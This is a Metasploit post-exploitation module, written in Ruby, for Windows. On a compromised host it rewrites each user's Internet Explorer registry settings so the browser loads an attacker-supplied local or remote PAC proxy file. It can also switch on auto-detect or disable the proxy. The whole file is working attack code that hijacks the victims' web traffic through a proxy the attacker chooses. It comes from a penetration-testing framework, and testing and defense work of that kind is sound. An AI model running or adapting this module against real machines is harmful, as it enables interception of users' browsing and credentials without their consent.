metasploit-framework/modules/post/windows/manage/ie_proxypac.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit3 < Msf::Post

  include Msf::Post::Windows::Priv
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Manage Proxy PAC File',
      'Description'   => %q{
              This module configures Internet Explorer to use a PAC proxy file. By using the LOCAL_PAC
            option a PAC file will be created in the victim host. It's also possible to especify a
            remote PAC file (REMOTE_PAC option) by providing the full URL. Ej: http://192.168.1.20/proxy.pac
            },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
      'References'    =>
            [
              [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ],
              [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ]
            ],
      'Platform'      => [ 'windows' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))

    register_options(
      [
        OptPath.new('LOCAL_PAC',  [false,  'Local PAC file.' ]),
        OptString.new('REMOTE_PAC',  [false,  'Remote PAC file.' ]),
        OptBool.new('DISABLE_PROXY',[false, 'Disable the proxy server.', false]),
        OptBool.new('AUTO_DETECT',  [false, 'Automatically detect settings.', false])
      ], self.class)
  end

  def run
    if datastore['LOCAL_PAC'].blank? and datastore['REMOTE_PAC'].blank?
      print_error("You must set a remote or local PAC file.")
      return
    end

    if datastore['REMOTE_PAC']
      @remote = true
      print_status("Setting a remote PAC file ...")
      enable_proxypac(datastore['REMOTE_PAC'])
    else
      print_status("Setting a local PAC file ...")
      pac_file = create_pac(datastore['LOCAL_PAC'])
      enable_proxypac(pac_file) if pac_file
    end

    auto_detect_on if datastore['AUTO_DETECT']
    disable_proxy if datastore['DISABLE_PROXY']
  end

  def create_pac(local_pac)
    pac_file = expand_path("%APPDATA%") << "\\" << Rex::Text.rand_text_alpha((rand(8)+6)) << ".pac"
    conf_pac = ""

    if ::File.exists?(local_pac)
      conf_pac << ::File.open(local_pac, "rb").read
    else
      print_error("Local PAC file not found.")
      return false
    end

    if write_file(pac_file,conf_pac)
      print_good ("PAC proxy configuration file written to #{pac_file}")
      return pac_file
    else
      print_error("There were problems creating the PAC proxy file.")
      return false
    end
  end

  def enable_proxypac(pac)
    registry_enumkeys('HKU').each do |k|
      next unless k.include? "S-1-5-21"
      next if k.include? "_Classes"
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
      value_auto = "AutoConfigURL"
      file = (@remote) ? "#{pac}" : "file://#{pac}"
      begin
        registry_setvaldata(key,value_auto,file,"REG_SZ")
      rescue
        next
      end
      print_good ("Proxy PAC enabled.") if change_connection(16,'05',key + '\\Connections')
    end
  end

  def auto_detect_on()
    registry_enumkeys('HKU').each do |k|
      next unless k.include? "S-1-5-21"
      next if k.include? "_Classes"
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings\\Connections"
      print_good ("Automatically Detect Settings on.") if change_connection(16,'0D',key)
    end
  end

  def disable_proxy()
    value_enable = "ProxyEnable"
    profile = false
    registry_enumkeys('HKU').each do |k|
      next unless k.include? "S-1-5-21"
      next if k.include? "_Classes"
      key = "HKEY_USERS\\#{k}\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet\ Settings"
      begin
        registry_setvaldata(key,value_enable,0,"REG_DWORD")
        profile = true
      rescue
        next
      end
    end
    print_good ("Proxy disable.") if profile
  end

  def change_connection(offset,value,key)
    value_default = "DefaultConnectionSettings"
    begin
      value_con = registry_getvaldata(key,value_default)
      binary_data = value_con.unpack('H*')[0]
      binary_data[offset,2] = value
      registry_setvaldata(key,value_default,["%x" % binary_data.to_i(16)].pack("H*"),"REG_BINARY")
    rescue
      return false
    end
  end
end